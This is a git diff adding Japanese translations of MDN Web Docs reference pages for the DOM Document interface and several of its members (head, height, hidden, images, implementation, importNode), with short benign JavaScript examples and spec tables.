var objRef = document.head;
+
+ +

値

+ +

{{domxref("HTMLHeadElement")}} です。

+ +

例

+ +
<!doctype html>
+<head id="my-document-head">
+  <title>Example: using document.head</title>
+</head>
+
+<script>
+  var theHead = document.head;
+
+  console.log(theHead.id); // "my-document-head";
+
+  console.log( theHead === document.querySelector("head") ); // true
+</script>
+
+ +

メモ

+ +

document.head は読取専用です。このプロパティに値を代入した場合は、暗黙に失敗するか、 Strict モードの場合は、 {{jsxref("TypeError")}} を投げます。

+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML5 W3C')}} 
{{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML WHATWG')}}初回定義
+ +

ブラウザーの対応

+ + + +
{{Compat("api.Document.head")}}
+ +

関連情報

+ + diff --git a/files/ja/web/api/document/height/index.html b/files/ja/web/api/document/height/index.html new file mode 100644 index 0000000000..ab0d767e29 --- /dev/null +++ b/files/ja/web/api/document/height/index.html @@ -0,0 +1,53 @@ +--- +title: Document.height +slug: Web/API/Document/height +tags: + - DOM + - DOM_0 + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Document/height +--- +
{{APIRef("DOM")}} {{Obsolete_header}}
+ +
+

メモ: {{Gecko("6.0")}} より document.height には対応しなくなりました。代わりに document.body.clientHeight を使用してください。 {{domxref("element.clientHeight")}} を参照して下さい。

+
+ +

現在の {{domxref("document")}} オブジェクトの高さを返します。多くの場合、これは現在の文書の {{HTMLElement("body")}} 要素の高さと同じ値です。

+ +

構文

+ +
pixels = document.height
+
+ +

例

+ +
// 文書の高さを表示
+alert(document.height);
+
+ +

代替策

+ +
document.body.clientHeight
+document.documentElement.clientHeight
+document.documentElement.scrollHeight
+
+ +

仕様書

+ +

HTML5

+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.height")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/hidden/index.html b/files/ja/web/api/document/hidden/index.html new file mode 100644 index 0000000000..65aef6d5af --- /dev/null +++ b/files/ja/web/api/document/hidden/index.html @@ -0,0 +1,53 @@ +--- +title: Document.hidden +slug: Web/API/Document/hidden +tags: + - DOM + - Document + - Page Visibility API + - Property + - Read-only + - Reference + - Web +translation_of: Web/API/Document/hidden +--- +

{{ ApiRef("DOM") }}

+ +

Document.hidden は読み取り専用のプロパティで、ページが非表示になっているとみられるかどうかを示す論理値を返します。

+ +

構文

+ +
var boolean = document.hidden
+ +

例

+ +
document.addEventListener("visibilitychange", function() {
+  console.log( document.hidden );
+  // 振る舞いを修正...
+});
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('Page Visibility API','#dom-document-hidden', 'Document.hidden')}}{{Spec2('Page Visibility API')}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.hidden")}}

diff --git a/files/ja/web/api/document/images/index.html b/files/ja/web/api/document/images/index.html new file mode 100644 index 0000000000..15835ddf89 --- /dev/null +++ b/files/ja/web/api/document/images/index.html @@ -0,0 +1,38 @@ +--- +title: document.images +slug: Web/API/Document/images +tags: + - DOM + - Document + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Document/images +--- +
+ {{ApiRef}}
+

概要

+

document.images は、現在の HTML 文書の {{domxref("Image")}} のコレクションを返します。

+

構文

+
var htmlCollection = document.images;
+

例

+

特定の src 属性値を持つ img 要素が文書中に存在する場合にのみ何らかの処理を行う例を以下に示します。

+
var ilist = document.images;
+
+for(var i = 0; i < ilist.length; i++) {
+    if(ilist[i].src == "banner.gif") {
+        // bunner.gif が存在した場合の処理
+    }
+}
+

プロパティ

+
+
+ document.images.length
+
+ 文書中の画像の数を返す
+
+

注記

+

document.images は DOM HTML の一部であり、HTML 文書に於いてのみ動作します。

+

仕様書

+ diff --git a/files/ja/web/api/document/implementation/index.html b/files/ja/web/api/document/implementation/index.html new file mode 100644 index 0000000000..08cc40c5c3 --- /dev/null +++ b/files/ja/web/api/document/implementation/index.html @@ -0,0 +1,68 @@ +--- +title: Document.implementation +slug: Web/API/Document/implementation +tags: + - API + - DOM + - Document + - NeedsContent + - Property + - Reference +translation_of: Web/API/Document/implementation +--- +
{{ ApiRef("DOM") }}
+ +

Document.implementation プロパティは、現在の文書に関連付けられた {{domxref("DOMImplementation")}} オブジェクトを返します。

+ +

構文

+ +
DOMImpObj = document.implementation;
+
+ +

例

+ +
var modName = "HTML";
+var modVer = "2.0";
+var conformTest = document.implementation.hasFeature( modName, modVer );
+
+alert( "DOM " + modName + " " + modVer + " supported?: " + conformTest );
+
+// DOM Level 2 HTML module に対応している場合、"DOM HTML 2.0 supported?: true" とアラート表示されます。
+
+ +

モジュール名 (※ Core 、HTML 、XML 等) の一覧は Conformance Section で入手可能です。

+ +

メモ

+ +

W3C's DOM Level 1 勧告では hasFeature メソッドのみが定義されているので、ブラウザーが DOM モジュールに対応しているかどうかを判断する方法の一つです。 (上記の例と What does your user agent claim to support? を参照してください)。利用できるのであれば、 DOMImplementation の他のメソッドが、単一文書の外のものを制御するサービスを提供します。例えば、 DOMImplementation インターフェイスは createDocumentType メソッドを含んでおり、実装によって管理された1つ以上の文書に DTD が作成されます。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-implementation', 'document.implementation')}}{{Spec2('DOM WHATWG')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.implementation")}}

+ +

Gecko に特有のメモ

+ + diff --git a/files/ja/web/api/document/importnode/index.html b/files/ja/web/api/document/importnode/index.html new file mode 100644 index 0000000000..3a6768769d --- /dev/null +++ b/files/ja/web/api/document/importnode/index.html @@ -0,0 +1,111 @@ +--- +title: Document.importNode() +slug: Web/API/Document/importNode +tags: + - API + - DOM + - Document + - Method + - Node + - Reference + - copy + - importNode +translation_of: Web/API/Document/importNode +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} オブジェクトの importNode() メソッドは、後で現在の文書に挿入するために、他の文書から {{domxref("Node")}} または {{domxref("DocumentFragment")}} の複製を作成します。

+ +

インポートされたノードは、まだ文書ツリーには含まれません。これを含めるには、 {{domxref("Node.appendChild", "appendChild()")}} や {{domxref("Node.insertBefore", "insertBefore()")}} のような挿入メソッドを、現在の文書ツリーに存在するノードに対して呼び出す必要があります。

+ +

{{domxref("document.adoptNode()")}} とは異なり、元の文書から元のノードは削除されません。インポートされたノードは元のノードの複製です。

+ +

構文

+ +
const importedNode = document.importNode(externalNode [, deep]);
+
+ +

引数

+ +
+
externalNode
+
現在の文書にインポートする、外部の {{domxref("Node")}} または {{domxref("DocumentFragment")}} です。
+
deep {{optional_inline}}
+
論理値で、 externalNode の DOM サブツリー全体をインポートするかどうかを制御します。 +
    +
  • deep が true に設定された場合、 externalNode およびその子孫全てが複製されます。
    • +
  • deep が false に設定された場合、 externalNode のみがインポートされます — 新しいノードには子ノードはない状態になります。
    • +
+ +
+

中: DOM4 仕様書では、 deep 羽オプションの引数で、既定値は true でした。

+ +

最新の仕様書ではこの既定値が変更されました。新しい既定値は false になりました。

+ +

おすすめの方法: これは現在もオプションの引数ですが、常に deep 引数を渡すことが後方互換性および前方互換性には有用です。

+ +
    +
  • Gecko 28.0 {{geckoRelease(28)}} では、コンソールでこの引数を省略しないよう開発者に警告しています。
    • +
  • Gecko 29.0 {{geckoRelease(29)}}) 以降、深いクローンではなく浅いクローンが既定値になっています。
    • +
+
+
+
+ +

返値

+ +

インポートする側の文書のスコープにコピーされた importedNode です。

+ +
+

注: importedNode's {{domxref("Node.parentNode")}} は null になります。まだ文書ツリーに挿入されていないからです。

+
+ +

例

+ +
const iframe  = document.querySelector("iframe");
+const oldNode = iframe.contentWindow.document.getElementById("myNode");
+const newNode = document.importNode(oldNode, true);
+document.getElementById("container").appendChild(newNode);
+
+ +

注

+ +

{{page("/ja/docs/Web/API/Document/adoptNode", "Notes")}}

+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("DOM WHATWG", "#dom-document-importnode", "document.importNode()")}}{{Spec2("DOM WHATWG")}}
{{SpecName("DOM2 Core", "core.html#Core-Document-importNode", "document.importNode()")}}{{Spec2("DOM2 Core")}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.importNode")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/index.html b/files/ja/web/api/document/index.html new file mode 100644 index 0000000000..3a7cad090c --- /dev/null +++ b/files/ja/web/api/document/index.html @@ -0,0 +1,664 @@ +--- +title: Document +slug: Web/API/Document +tags: + - API + - DOM + - Document + - Interface + - Reference +translation_of: Web/API/Document +--- +
{{APIRef("DOM")}}
+ +

Document インターフェイスはブラウザーに読み込まれたウェブページを表し、 DOM ツリーであるウェブページのコンテンツへのエントリーポイントとして働きます。 DOM ツリーは {{HTMLElement("body")}} や {{HTMLElement("table")}} など、多数の要素を持ちます。これはページの URL を取得したり文書で新たな要素を作成するなど、文書全体に関わる機能を提供します。

+ +

{{InheritanceDiagram}}

+ +

Document インターフェイスは、あらゆる種類の文書に対して共通のプロパティやメソッドを提供します。また、文書の種類 (例: HTML、XML、SVG など) に応じて、より大規模な API を使用できます。コンテンツタイプ "text/html" で提供される HTML 文書では、 {{DOMxRef("HTMLDocument")}} インターフェイスも実装します。一方 XML や SVG 文書では、 {{DOMxRef("XMLDocument")}} インターフェイスを実装します。

+ +

コンストラクター

+ +
+
{{DOMxRef("Document.Document", "Document()")}}
+
新しい Document オブジェクトを作成します。
+
+ +

プロパティ

+ +

このインターフェイスは、 {{DOMxRef("Node")}} インターフェイスおよび {{DOMxRef("EventTarget")}} インターフェイスのプロパティも継承しています。

+ +
+
{{DOMxRef("Document.anchors")}}{{ReadOnlyInline}}
+
文書内のすべてのアンカーのリストを返します。
+
{{DOMxRef("Document.body")}}
+
現在の文書の {{HTMLElement("body")}} または {{htmlelement("frameset")}} ノードを返します。
+
{{DOMxRef("Document.characterSet")}}{{ReadOnlyInline}}
+
文書に適用されている文字セットを返します。
+
{{DOMxRef("Document.compatMode")}} {{Experimental_Inline}}{{ReadOnlyInline}}
+
文書が Quirks モードと Strict モードのどちらで描画されているかを示します。
+
{{DOMxRef("Document.contentType")}} {{Experimental_Inline}}{{ReadOnlyInline}}
+
現在の文書の MIME ヘッダーから Content-Type を返します。
+
{{DOMxRef("Document.doctype")}}{{ReadOnlyInline}}
+
現在の文書の文書型宣言 (DTD) を返します。
+
{{DOMxRef("Document.documentElement")}}{{ReadOnlyInline}}
+
文書の直接の子である {{DOMxRef("Element")}} を返します。 HTML 文書では、これは通常は文書の {{HTMLElement("html")}} 要素を表す {{DOMxRef("HTMLElement")}} オブジェクトになります。
+
{{DOMxRef("Document.documentURI")}}{{ReadOnlyInline}}
+
文書の場所を文字列で返します。
+
{{DOMxRef("Document.embeds")}}{{ReadOnlyInline}}
+
現在の文書に含まれる、埋め込まれた {{HTMLElement('embed')}} 要素のリストを返します。
+
{{DOMxRef("Document.fonts")}}
+
現在の文書の {{DOMxRef("FontFaceSet")}} インターフェイスを返します。
+
{{DOMxRef("Document.forms")}}{{ReadOnlyInline}}
+
現在の文書の {{HTMLElement("form")}} 要素のリストを返します。
+
{{DOMxRef("Document.head")}}{{ReadOnlyInline}}
+
現在の文書の {{HTMLElement("head")}} 要素を返します。
+
{{DOMxRef("Document.hidden")}}{{ReadOnlyInline}}
+
このページが非表示と見なされているかどうかを論理値で返します。
+
{{DOMxRef("Document.images")}}{{ReadOnlyInline}}
+
現在の文書の画像のリストを返します。
+
{{DOMxRef("Document.implementation")}}{{ReadOnlyInline}}
+
現在の文書に関連付けられた DOM 実装を返します。
+
{{DOMxRef("Document.lastStyleSheetSet")}}{{ReadOnlyInline}}
+
直前に有効であったスタイルシートセットの名称を返します。 {{DOMxRef("Document.selectedStyleSheetSet","selectedStyleSheetSet")}} に値を設定してスタイルシートを変更するまで、この値は null になります。
+
{{DOMxRef("Document.links")}}{{ReadOnlyInline}}
+
文書内のすべてのハイパーリンクのリストを返します。
+
{{DOMxRef("Document.mozSyntheticDocument")}} {{Non-standard_Inline}}
+
単独の画像、動画、オーディオファイルなど、文書が Synthetic である場合に限り true となる {{JSxRef("Boolean")}} を返します。
+
{{DOMxRef("Document.plugins")}}{{ReadOnlyInline}}
+
利用可能なプラグインのリストを返します。
+
{{DOMxRef("Document.featurePolicy")}} {{Experimental_Inline}}{{ReadOnlyInline}}
+
特定の文書に適用する機能ポリシーを見るための簡単な API を提供する {{DOMxRef("FeaturePolicy")}} インターフェイスを返します。
+
{{DOMxRef("Document.preferredStyleSheetSet")}}{{ReadOnlyInline}}
+
ページの作者によって設定された、優先的なスタイルシートを返します。
+
{{DOMxRef("Document.scripts")}}{{ReadOnlyInline}}
+
文書内のすべての {{HTMLElement("script")}} 要素を返します。
+
{{DOMxRef("Document.scrollingElement")}}{{ReadOnlyInline}}
+
文書をスクロールする {{DOMxRef("Element")}} への参照を返します。
+
{{DOMxRef("Document.selectedStyleSheetSet")}}
+
現在どのスタイルシートセットを使用しているかを返します。
+
{{DOMxRef("Document.styleSheetSets")}}{{ReadOnlyInline}}
+
文書で使用できるスタイルシートセットのリストを返します。
+
{{DOMxRef("Document.timeline")}}{{ReadOnlyInline}}
+
タイムラインを {{domxref("DocumentTimeline")}} の特別なインスタンスで返します。これはページの読み込み時に自動的に生成されます。
+
{{DOMxRef("Document.undoManager")}} {{Experimental_Inline}}{{ReadOnlyInline}}
+
…
+
{{DOMxRef("Document.visibilityState")}}{{ReadOnlyInline}}
+
文書の可視性を表す string を返します。 visible, hidden, prerender, unloaded のいずれかの値になります。
+
+ +

Document インターフェイスは、 {{DOMxRef("ParentNode")}} インターフェイスから派生しています。

+ +

{{page("/ja/docs/Web/API/ParentNode","Properties")}}

+ +

HTML 文書向けの拡張

+ +

HTML 文書用の Document インターフェイスは {{DOMxRef("HTMLDocument")}} インターフェイスから継承する、あるいは HTML5 文書向けに拡張されています。

+ +
+
{{DOMxRef("Document.cookie")}}
+
文書のクッキーをセミコロンで区切られたリストで返すか、1 つのクッキーを設定します。
+
{{DOMxRef("Document.defaultView")}}{{ReadOnlyInline}}
+
window オブジェクトへの参照を返します。
+
{{DOMxRef("Document.designMode")}}
+
文書全体を編集可能かを取得 / 設定します。
+
{{DOMxRef("Document.dir")}}{{ReadOnlyInline}}
+
文書の書字方向 (rtl/ltr) を取得 / 設定します。
+
{{DOMxRef("Document.domain")}}
+
現在の文書のドメインを取得 / 設定します。
+
{{DOMxRef("Document.lastModified")}}{{ReadOnlyInline}}
+
文書の最終更新日を返します。
+
{{DOMxRef("Document.location")}}{{ReadOnlyInline}}
+
現在の文書の URI を返します。
+
{{DOMxRef("Document.readyState")}}{{ReadOnlyInline}}
+
文書の読み込み状況を表す文字列を返します。
+
{{DOMxRef("Document.referrer")}}{{ReadOnlyInline}}
+
このページへリンクしたページの URI を返します。
+
{{DOMxRef("Document.title")}}
+
現在の文書のタイトルを設定または取得します。
+
{{DOMxRef("Document.URL")}}{{ReadOnlyInline}}
+
現在の文書の URL を含む文字列を返します。
+
+ +

DocumentOrShadowRoot からインクルードしたプロパティ

+ +

Document インターフェイスは、 {{DOMxRef("DocumentOrShadowRoot")}} ミックスインで定義された以下のプロパティを含んでいます。これらは現在 Chrome のみ実装しています。ほかのブラウザーはいまだに、 {{DOMxRef("Document")}} インターフェイスに直接実装しています。

+ +
+
{{DOMxRef("DocumentOrShadowRoot.activeElement")}}{{ReadOnlyInline}}
+
フォーカスを持つシャドウツリーがある {{DOMxRef('Element')}} を返します。
+
{{DOMxRef("Document.fullscreenElement")}}{{ReadOnlyInline}}
+
文書で現在全画面モードになっている要素です。
+
{{DOMxRef("DocumentOrShadowRoot.pointerLockElement")}} {{Experimental_Inline}}{{ReadOnlyInline}}
+
マウスポインターをロックしているときに、mouse イベントのターゲットとして設定された要素を返します。ロックが未実施、ロックが解除済み、あるいは別の文書がターゲットである場合は null になります。
+
{{DOMxRef("DocumentOrShadowRoot.styleSheets")}}{{ReadOnlyInline}}
+
文書へ明示的にリンクまたは埋め込まれているスタイルシートの {{DOMxRef('CSSStyleSheet')}} オブジェクトの、{{DOMxRef('StyleSheetList')}} を返します。
+
+ +

イベントハンドラー

+ +
+
{{DOMxRef("Document.onafterscriptexecute")}} {{Non-standard_Inline}}
+
{{event("afterscriptexecute")}} イベント用のイベント制御コードを表します。
+
{{DOMxRef("Document.onbeforescriptexecute")}} {{Non-standard_Inline}}
+
{{event("beforescriptexecute")}} イベント用のイベント制御コードを表します。
+
{{DOMxRef("Document.oncopy")}} {{Non-standard_Inline}}
+
{{event("copy")}} イベント用のイベント制御コードを表します。
+
{{DOMxRef("Document.oncut")}} {{Non-standard_Inline}}
+
{{event("cut")}} イベント用のイベント制御コードを表します。
+
{{DOMxRef("Document.onfullscreenchange")}}
+
{{event("fullscreenchange")}} イベントが発生したときに呼び出すコードを表す {{DOMxRef("EventHandler")}} です。
+
{{DOMxRef("Document.onfullscreenerror")}}
+
{{event("fullscreenerror")}} イベントが発生したときに呼び出すコードを表す {{DOMxRef("EventHandler")}} です。
+
{{DOMxRef("Document.onpaste")}} {{Non-standard_Inline}}
+
{{event("paste")}} イベント用のイベント制御コードを表します。
+
{{DOMxRef("Document.onreadystatechange")}}
+
{{event("readystatechange")}} イベント用のイベント制御コードを表します。
+
{{DOMxRef("Document.onselectionchange")}} {{Experimental_Inline}}
+
{{event("selectionchange")}} イベントが発生したときに呼び出すコードを表す {{DOMxRef("EventHandler")}} です。
+
{{DOMxRef("Document.onvisibilitychange")}}
+
{{event("visibilitychange")}} イベントが発生したときに呼び出すコードを表す {{DOMxRef("EventHandler")}} です。
+
+ +

Document インターフェイスは、{{DOMxRef("GlobalEventHandlers")}} インターフェイスから派生しています。

+ +

{{Page("/ja/docs/Web/API/GlobalEventHandlers", "Properties")}}

+ +

非推奨のプロパティ

+ +
+
{{DOMxRef("Document.alinkColor")}} {{Deprecated_Inline}}
+
文書本文内のアクティブなリンクの色を取得または設定します。
+
{{DOMxRef("Document.all")}} {{Deprecated_Inline}} {{Non-standard_Inline}}
+
文書内のすべての要素にアクセスできます。文書ノードを起点とする {{DOMxRef('HTMLAllCollection')}} を返します。これは古い標準外のプロパティですので、使用しないようにしてください。
+
{{DOMxRef("Document.applets")}} {{Deprecated_Inline}}{{ReadOnlyInline}}
+
文書内にあるアプレットのリスト (出現順) を返します。
+
{{DOMxRef("Document.bgColor")}} {{Deprecated_Inline}}
+
現在の文書の背景色を取得または設定します。
+
{{DOMxRef("Document.charset")}} {{Deprecated_Inline}}{{ReadOnlyInline}}
+
{{DOMxRef("Document.characterSet")}} の別名です。代わりに {{DOMxRef("Document.characterSet")}} を使用してください。
+
{{DOMxRef("Document.domConfig")}} {{Deprecated_Inline}}
+
{{DOMxRef("DOMConfiguration")}} オブジェクトを返すはずです。
+
{{DOMxRef("Document.fgColor")}} {{Deprecated_Inline}}
+
現在の文書の前景色または文字色を取得 / 設定します。
+
{{DOMxRef("Document.fullscreen")}} {{Obsolete_Inline}}
+
文書が 全画面モード であるときに、true になります。
+
{{DOMxRef("Document.height")}} {{Non-standard_Inline}} {{Obsolete_Inline}}
+
現在の文書の高さを取得 / 設定します。
+
{{DOMxRef("Document.inputEncoding")}} {{Deprecated_Inline}}{{ReadOnlyInline}}
+
{{DOMxRef("Document.characterSet")}} の別名です。代わりに {{DOMxRef("Document.characterSet")}} を使用してください。
+
{{DOMxRef("Document.linkColor")}} {{Deprecated_Inline}}
+
document 内のハイパーリンクの色を取得 / 設定します。
+
{{DOMxRef("Document.rootElement")}} {{Deprecated_Inline}}
+
{{DOMxRef("Document.documentElement")}} と同様ですが、 {{SVGElement("svg")}} ルート要素専用です。こちらのプロパティを代わりに使用してください。
+
{{DOMxRef("Document.vlinkColor")}} {{Deprecated_Inline}}
+
訪問済みのハイパーリンクの色を取得/設定します。
+
{{DOMxRef("Document.width")}} {{Non-standard_Inline}} {{Obsolete_Inline}}
+
現在の文書の幅を返します。
+
{{DOMxRef("Document.xmlEncoding")}} {{Deprecated_Inline}}
+
XML 宣言によって決められたエンコーディングを返します。
+
{{DOMxRef("Document.xmlStandalone")}} {{Obsolete_Inline("Gecko10")}}
+
XML 宣言で文書がスタンドアロンである (例: DTD の外部パートが文書のコンテンツに影響する) 場合に true を、そうでない場合に false を返します。
+
{{DOMxRef("Document.xmlVersion")}} {{Obsolete_Inline("Gecko10")}}
+
XML 宣言で指定されたバージョン番号、または宣言が省略されている場合に "1.0" を返します。
+
+ +

メソッド

+ +

このインターフェイスは、{{DOMxRef("Node")}} インターフェイスおよび {{DOMxRef("EventTarget")}} インターフェイスのメソッドを継承します。

+ +
+
{{DOMxRef("Document.adoptNode()")}}
+
外部文書からノードを取り込みます。
+
{{DOMxRef("Document.captureEvents()")}} {{Deprecated_Inline}}
+
{{DOMxRef("Window.captureEvents")}} をご覧ください。
+
{{DOMxRef("Document.caretRangeFromPoint()")}} {{Non-standard_Inline}}
+
指定した座標にある文書の断片の {{DOMxRef("Range")}} オブジェクトを取得します。
+
{{DOMxRef("Document.createAttribute()")}}
+
新しい {{DOMxRef("Attr")}} オブジェクトを生成して、返します。
+
{{DOMxRef("Document.createAttributeNS()")}}
+
指定した名前空間に新しい属性ノードを生成して、返します。
+
{{DOMxRef("Document.createCDATASection()")}}
+
新しい CDATA ノードを生成して、返します。
+
{{DOMxRef("Document.createComment()")}}
+
新しいコメントノードを生成して、返します。
+
{{DOMxRef("Document.createDocumentFragment()")}}
+
新しい文書断片を生成します。
+
{{DOMxRef("Document.createElement()")}}
+
指定したタグ名で新しい要素を生成します。
+
{{DOMxRef("Document.createElementNS()")}}
+
指定したタグ名およびネームスペース URI で、新しい要素を生成します。
+
{{DOMxRef("Document.createEntityReference()")}} {{Obsolete_Inline}}
+
新しい Entity Reference オブジェクトを生成して、返します。
+
{{DOMxRef("Document.createEvent()")}}
+
Event オブジェクトを生成します。
+
{{DOMxRef("Document.createNodeIterator()")}}
+
{{DOMxRef("NodeIterator")}} オブジェクトを生成します。
+
{{DOMxRef("Document.createProcessingInstruction()")}}
+
新しい {{DOMxRef("ProcessingInstruction")}} オブジェクトを生成します。
+
{{DOMxRef("Document.createRange()")}}
+
{{DOMxRef("Range")}} オブジェクトを生成します。
+
{{DOMxRef("Document.createTextNode()")}}
+
テキストノードを生成します。
+
{{DOMxRef("Document.createTouch()")}} {{Deprecated_Inline}}
+
{{DOMxRef("Touch")}} オブジェクトを生成します。
+
{{DOMxRef("Document.createTouchList()")}}
+
{{DOMxRef("TouchList")}} オブジェクトを生成します。
+
{{DOMxRef("Document.createTreeWalker()")}}
+
{{DOMxRef("TreeWalker")}} オブジェクトを生成します。
+
{{DOMxRef("Document.enableStyleSheetsForSet()")}}
+
指定したスタイルシートセットのスタイルシートを有効化します。
+
{{DOMxRef("Document.exitPointerLock()")}} {{Experimental_Inline}}
+
Pointer Lock を解放します。
+
{{DOMxRef("Document.getAnimations()")}} {{Experimental_Inline}}
+
現在実行中であるすべての {{DOMxRef("Animation")}} オブジェクトの配列を返します。この対象要素は、document の子孫要素です。
+
{{DOMxRef("Document.getElementsByClassName()")}}
+
(引数で) 与えられたクラス名を持つ要素のリストを返します。
+
{{DOMxRef("Document.getElementsByTagName()")}}
+
(引数で) 与えられたタグ名を持つ要素のリストを返します。
+
{{DOMxRef("Document.getElementsByTagNameNS()")}}
+
(引数で) 与えられたタグ名と名前空間を持つ要素のリストを返します。
+
{{DOMxRef("Document.hasStorageAccess()")}}
+
文書が自分自身 (first-party) のストレージにアクセスしたかどうかを示す真偽値を解決する {{JSxRef("Promise")}} を返します。
+
{{DOMxRef("Document.importNode()")}}
+
外部文書のノードの複製を返します。
+
{{DOMxRef("Document.normalizeDocument()")}} {{Obsolete_Inline}}
+
エンティティの置換や、テキストノードの正規化などを行います。
+
{{DOMxRef("Document.releaseCapture()")}} {{Non-standard_Inline}} {{gecko_minversion_inline("2.0")}}
+
この文書内の要素でマウスキャプチャーを行っている場合に、マウスキャプチャーを解放します。
+
{{DOMxRef("Document.releaseEvents()")}} {{Non-standard_Inline}} {{Deprecated_Inline}}
+
{{DOMxRef("Window.releaseEvents()")}} をご覧ください。
+
{{DOMxRef("Document.requestStorageAccess()")}}
+
自分自身 (first-party) のストレージへのアクセスが許可された場合は解決し、拒否された場合は拒否される {{JSxRef("Promise")}} を返します。
+
{{DOMxRef("Document.routeEvent()")}} {{Non-standard_Inline}} {{Obsolete_Inline("Gecko24")}}
+
{{DOMxRef("Window.routeEvent()")}} をご覧ください。
+
{{DOMxRef("Document.mozSetImageElement()")}} {{Non-standard_Inline}}
+
指定した ID を持つ要素の背景画像として使用する要素を変更できます。
+
+ +

Document インターフェイスは、 {{DOMxRef("ParentNode")}} インターフェイスから継承しています。

+ +
+
{{DOMxRef("Document.getElementById","document.getElementById(String id)")}}
+
特定の id を持つ要素へのオブジェクト参照を返します。
+
{{DOMxRef("Document.querySelector()")}}
+
指定したセレクターに一致する、文書内で最初の要素ノードを返します。
+
{{DOMxRef("Document.querySelectorAll()")}}
+
指定したセレクターに一致する、文書内のすべての要素ノードのリストを返します。
+
+ +

Document インターフェイスは、{{DOMxRef("XPathEvaluator")}} インターフェイスによって拡張されています。

+ +
+
{{DOMxRef("Document.createExpression()")}}
+
(繰り返し) 評価に使用できる XPathExpression をコンパイルします。
+
{{DOMxRef("Document.createNSResolver()")}}
+
{{DOMxRef("XPathNSResolver")}} オブジェクトを生成します。
+
{{DOMxRef("Document.evaluate()")}}
+
XPath 表現を評価します。
+
+ +

HTML 文書向けの拡張

+ +

HTML 文書用の Document インターフェイスは {{DOMxRef("HTMLDocument")}} インターフェイスから継承する、あるいは HTML5 文書向けに拡張されています。

+ +
+
{{DOMxRef("Document.clear()")}} {{Non-standard_Inline}} {{Deprecated_Inline}}
+
最近の Firefox や Internet Explorer を含む大部分の現行ブラウザーは、何も行いません。
+
{{DOMxRef("Document.close()")}}
+
書き込み用の文書ストリームを閉じます。
+
{{DOMxRef("Document.execCommand()")}}
+
編集可能な文書で、フォーマットコマンドを実行します。
+
{{DOMxRef("Document.getElementsByName()")}}
+
(引数で) 与えられた名前 (name) を持つ要素のリストを返します。
+
{{DOMxRef("Document.hasFocus()")}}
+
指定した文書内にフォーカスがある場合に、 true を返します。
+
{{DOMxRef("Document.open()")}}
+
書き込み用の文書ストリームを開きます。
+
{{DOMxRef("Document.queryCommandEnabled()")}}
+
現在の領域でフォーマットコマンドを実行できる場合に、 true を返します。
+
{{DOMxRef("Document.queryCommandIndeterm()")}}
+
現在の領域でフォーマットコマンドの状態が不確定である場合に true を返します。
+
{{DOMxRef("Document.queryCommandState()")}}
+
現在の領域でフォーマットコマンドを実行した場合に true を返します。
+
{{DOMxRef("Document.queryCommandSupported()")}}
+
現在の領域でフォーマットコマンドをサポートしている場合に、true を返します。
+
{{DOMxRef("Document.queryCommandValue()")}}
+
指定したフォーマットコマンドについて、現在の領域における値を返します。
+
{{DOMxRef("Document.write()")}}
+
文書にテキストを書き込みます。
+
{{DOMxRef("Document.writeln()")}}
+
文書にテキスト行を書き込みます。
+
+ +

DocumentOrShadowRoot から組み入れられたメソッド

+ +

Document インターフェイスは、{{DOMxRef("DocumentOrShadowRoot")}} ミックスインで定義された以下のメソッドを含んでいます。これらは現在 Chrome のみ実装しています。ほかのブラウザーはいまだに、 {{DOMxRef("Document")}} インターフェイスに実装しています。

+ +
+
{{DOMxRef("DocumentOrShadowRoot.getSelection()")}}
+
ユーザーが現在選択しているテキスト範囲、または現在のキャレットの位置を表す {{DOMxRef('Selection')}} オブジェクトを返します。
+
{{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}}
+
指定した座標で最前面にある要素を返します。
+
{{DOMxRef("DocumentOrShadowRoot.elementsFromPoint()")}}
+
指定した座標に存在するすべての要素の配列を返します。
+
{{DOMxRef("DocumentOrShadowRoot.caretPositionFromPoint()")}}
+
キャレットがある DOM ノードと、ノード内でキャレットあがある文字のオフセットを持つ {{DOMxRef('CaretPosition')}} オブジェクトを返します。
+
+ +

イベント

+ +

これらのイベントを待ち受けするには、 addEventListener() を使用するか、本インターフェイスの onイベント名 プロパティへイベントリスナーを代入するかしてください。

+ +
+
{{DOMxRef("Document/scroll_event", "scroll")}}
+
文書のビューまたは要素がスクロールしたときに発行されます。
+ {{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}} プロパティからも利用できます。
+
{{DOMxRef("Document/visibilitychange_event", "visibilitychange")}}
+
タブの内容の表示・非表示の状態が切り替わった時に発行されます。
+ {{DOMxRef("Document.onvisibilitychange", "onvisibilitychange")}} プロパティからも利用できます。
+
{{DOMxRef("Document/wheel_event","wheel")}}
+
ユーザーがポインティングデバイス (通常はマウス) のホイールボタンを回転した時に発行されます。
+ {{DOMxRef("GlobalEventHandlers.onwheel", "onwheel")}} プロパティからも利用できます。
+
+ +

アニメーションイベント

+ +
+
{{DOMxRef("Document/animationcancel_event", "animationcancel")}}
+
アニメーションが予期せず中断された時に発行されます。
+ {{domxref("GlobalEventHandlers/onanimationcancel", "onanimationcancel")}} プロパティからも利用できます。
+
{{DOMxRef("Document/animationend_event", "animationend")}}
+
アニメーションが正常に完了したときに発行されます。
+ {{domxref("GlobalEventHandlers/onanimationend", "onanimationend")}} プロパティからも利用できます。
+
{{DOMxRef("Document/animationiteration_event", "animationiteration")}}
+
アニメーションの1周期が完了したときに発行されます。
